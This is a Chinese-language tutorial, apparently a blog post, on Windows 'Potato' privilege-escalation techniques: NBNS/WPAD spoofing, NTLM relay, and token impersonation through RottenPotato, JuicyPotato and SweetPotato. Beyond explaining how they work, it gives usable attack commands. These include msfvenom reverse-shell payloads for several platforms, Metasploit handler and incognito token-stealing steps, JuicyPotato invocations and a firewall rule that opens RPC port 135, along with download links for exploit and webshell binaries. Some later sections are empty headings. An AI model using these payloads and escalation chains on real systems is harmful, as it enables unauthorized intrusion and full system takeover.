本文仅用于技术讨论与学习，利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。

只供对已授权的目标使用测试，对未授权目标的测试作者不承担责任，均由使用本人自行承担。

2016-01-16 初代土豆
    劫持wpad配合ntlm中继进行提权。

2016-09-26 二代土豆
    劫持系统com服务器地址到恶意服务器上,然后在NTLM Type 3时做AcceptSecurityContext调用去拿system的令牌。

2020-05-02 三代土豆
目前杀伤力最大的一个利用链，通过命名管道模拟来获取system的令牌。

名字由来：
JuicyPotato是RottenPotato升级版
SweetPotato == Juicy/PrintSpoofer集合版
PrintSpoofer == PipePotato== BadPotato 三个名字 ？

最初公开POC的老外叫它PrintSpoofer，之后360的paper叫它PipePotato，然后GitHub国人的POC又叫它BadPotato。

嚯，这关系，可以说是相当的乱了

这里用的环境是windows2008 R2+ IIS
首先用 IIS7创建WEB站点

https://www.onlinedown.net/tag/2246.htm

利用 Windows 中的已知问题在默认配置中获得本地权限提升
即 NTLM 中继(特别是 HTTP->SMB 中继)和 NBNS 欺骗
攻击者可以在安装了Windows操作系统的工作站中将自己的低权限提升至NT AUTHORITY\SYSTEM

影响范围：Windows 7、8、10、Server 2008 和 Server 2012

3.1 原理详解

主要分为3步(机翻)

1、本地NBNS欺骗

NBNS 是 Windows 环境中常用的名称解析广播 UDP 协议。当我们(或 Windows)执行 DNS 查找时，Windows 首先会检查hosts文件
host文件默认位置：C:\Windows\System32\drivers\etc
如果不存在，它将会进行DNS查找
如果DNS查找失败，将会执行NBNS查找
NBNS 协议基本上只是询问本地广播域上的所有主机
这个时候，网络上的任何主机都可以随意响应。

2、虚假的WPAD代理服务器

在 Windows 中，Internet Explorer 默认会通过访问 URL：http://wpad/wpad.dat

自动尝试检测网络代理设置配置

它适用于某些 Windows 服务！例如 Windows 更新，但具体如何做以及在什么条件下取决于版本。

当然访问 URL：http://wpad/wpad.dat不会存在于所有网络上，因为主机名wpad不一定存在于 DNS 名称服务器中

那么，虚假的WPAD代理服务器和本地NBNS欺骗相结合，我们可以使用 本地NBNS 欺骗来欺骗主机名
凭借欺骗 NBNS 响应的能力，我们可以将 NBNS 欺骗器定位在 127.0.0.1

我们用主机WPAD或WPAD.DOMAIN.TLD的NBNS响应数据包淹没目标机器(我们自己的机器)
WPAD主机的IP地址为127.0.0.1

这将导致目标上的所有 HTTP 流量都通过我们在 127.0.0.1 上运行的服务器重定向

注：即使是由低权限用户执行的这种攻击也会影响机器的所有用户，这包括管理员和系统帐户

3、HTTP -> SMB NTLM中继

NTLM 中继是一种众所周知但经常被误解的针对 Windows NTLM 身份验证的攻击。NTLM 协议容易受到中间人攻击。如果攻击者可以欺骗用户尝试使用 NTLM 对其机器进行身份验证，他可以将该身份验证尝试中继到另一台机器！

此攻击的旧版本让受害者尝试使用带有 NTLM 身份验证的 SMB 协议向攻击者进行身份验证。然后，攻击者会将这些凭据中继回受害者的计算机，并使用类似"psexec”的技术获得远程访问权限。

微软通过使用已经在进行中的challenge来禁止相同协议的 NTLM 身份验证来修补这个问题

这意味着从一台主机到其自身的 SMB->SMB NTLM 中继将不再起作用
但是，跨协议攻击，像HTTP->SMB 仍然可以正常工作

现在所有 HTTP 流量都可能流经我们控制的 HTTP 服务器，我们可以做一些事情，比如将它们重定向到某个将请求 NTLM 身份验证的地方。

在Hot Potato漏洞利用中，所有 HTTP 请求都通过 302 重定向重定向到URL：http://localhost/GETHASHESxxxxx

其中 xxxxx 是某个唯一标识符。请求URL：http://localhost/GETHASHESxxxxx 以 NTLM 身份验证的 401 请求响应。

然后将任何 NTLM 凭据中继到本地 SMB 侦听器以创建运行用户定义命令的新系统服务。

当有问题的 HTTP 请求来自高权限帐户时，例如，当它是来自 Windows 更新服务的请求时，此命令将以NT AUTHORITY\SYSTEM权限运行，从而完成了提权！

1.本地NBNS Spoofer：冒充名称解析，强制系统下载恶意WAPD配置
2.伪造WPAD代理服务器：部署malicios WAPD配置，强制系统进行NTLM认证
3.HTTP -> SMB NTLM 中继：将 WAPD NTLM 令牌中继到 SMB 服务以创建提升的进程

4.1 介绍

烂土豆(Rotten Potato) MS16-075 提权是一个本地提权，只针对本地用户，不支持域用户。
以将Windows工作站上的特权从最低级别提升到“ NT AUTHORITY \ SYSTEM” – Windows计算机上可用的最高特权级别。

适用版本：Windows7、8、10、2008、2012

4.2 ms16-075漏洞介绍

4.3 提权原理

RottenPotato(烂土豆) 提权原理可以简述如下：

1、欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。

2、对这个认证过程使用中间人攻击（NTLM重放），为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。

3、模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户（IIS、MSSQL等）有这个权限，大多数用户级的账户没有这个权限。

1. 使用CoGetInstanceFromIStorage API 调用欺骗RPC,对代理进行身份验证.在此调用中指定了代理 IP/端口
2. RPC 向代理发送 NTLM 协商包
3. 代理依赖的NTLM协商到RPC在端口135，被用作模板。同时，执行对AcceptSecurityContext的调用以强制进行本地身份验证注:此包被修改为强制本地身份验证.
4. & 5. RPC 135和AcceptSecurityContext用NTLM Challenge回复
6. 将两个数据包的内容混合以匹配本地协商并转发到RPC
7. RPC使用发送到AcceptSecurityContext(8.)的NLTM Auth包进行响应，并执行模拟

4.4 复现

apk:msfvenom -p android/meterpreter/reverse_tcp LHOST=ip LPOR=8888 -o test.apk
Linux：msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ip LPOR=8888 -f elf>shell.elf
Mac:msfvenom -p osx/x86/shell_reverse_tcp LHOST=ip LPOR=8888 -f macho>shell.macho
PHP:msfvenom -p php/meterpreter/reverse_tcp LHOST=ip LPOR=8888 -o xx.php
exe：msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.208.138 LPORT=6666 -f exe > reverse.exe

use exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcp   反向payloadset payload windows/x64/meterpreter/bind_tcp    正向payloadset lhost 172.16.1.10set lport 6666exploi

SeImpersonatePrivilege是土豆提权的必要条件。

https://github.com/foxglovesec/RottenPotato

RottenPotato下载地址

upload /root/RottenPotato.exe c:/web目录   上传potato.exe到目标机器中的C:/web目录下

use incognito# 加载incoginto功能（用来盗窃目标主机的令牌或是假冒用户)list_tokens -u# 列出目标机器用户的可用令牌execute -cH -f c:/potato.exe# 创建新的进程list_tokens -uimpersonate_token "NT AUTHORITY\SYSTEM"

5.1 原理

攻击者可以诱骗用户尝试使用NTLM对他的计算机进行身份验证，则他可以将该身份验证尝试中继到另一台计算机！

Microsoft通过使用已经进行的质询来禁止同协议NTLM身份验证来对此进行修补。这意味着从一个主机回到自身的SMB-> SMB NTLM中继将不再起作用。但是，跨协议攻击（例如HTTP-> SMB）仍然可以正常使用！

5.2 使用条件

🔹支持SeImpersonate或者SeAssignPrimaryToken权限。

🔹开启DCOM。

🔹本地支持RPC或者远程服务器支持PRC并能成功登录。

🔹能够找到可用的COM对象。

1、查看当前用户权限，是否符合要求

whoami /all

whoami /priv

如果开启SeImpersonate权限，juicypotato的参数可以使用-t t

如果开启SeAssignPrimaryToken权限，juicypotato的参数可以使用-t u

如果均开启，可以选择-t *

如果均未开启，那么无法提权

2、查看RPC默认端口是否为135

如果被修改，juicypotato的参数可以使用 -n 111

如果系统禁用了RPC，并不是一定无法提权，需要满足如下条件：

找到另一系统，能够以当前用户的权限进行远程RPC登录，此时juicypotato的参数可以使用-k

例如Win7、WIn8系统，默认配置下，允许135端口的入站规则即可进行远程RPC登录

添加防火墙规则允许135端口入站的命令如下：

netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow

5.3 复现

测试的是Windows2008R2，选择CLSID为{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}

CLSID需要根据系统来选择

https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

https://github.com/ohpe/juicy-potato/releases(JuicyPotato.exe链接)

JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}

成功。

找了一个webshell版的juicypotato.exe 能够直接执行命令

https://github.com/uknowsec/JuicyPotato/tree/main/JuicyPotato-webshell/Bin

上传到web根目录

执行命令

JuicyPotatoweb.exe -p "whoami"

6.1 原理

通过各种方法在本地NTLM中继获取SYSTEM令牌，再通过模拟令牌执行命令，通过以上方法提权统称为potato(不管是否基于原potato修改)。就像SQL注入，通过特定SQL语句注入获取特定数据库信息统称为SQL注入，而不管如何编写的SQL语句，是否基于别人的SQL语句修改。

SweetPotato集成了原版Potato和JulyPotato的功能，包含DCOM/WINRM/PrintSpoofer方法获取SYSTEM。

https://github.com/uknowsec/SweetPotato/blob/master/SweetPotato-Webshell-new/bin/Release/SweetPotato.exe

6.2 复现

7.1 原理

7.2 影响范围

7.3 复现

https://github.com/itm4n/PrintSpoofer/releases/tag/v1.0

使用whoami /priv查看是否开启SeImpersonatePrivilege 身份验证后模拟客户端

技术交流

知识星球

交流群

关注我们

往期文章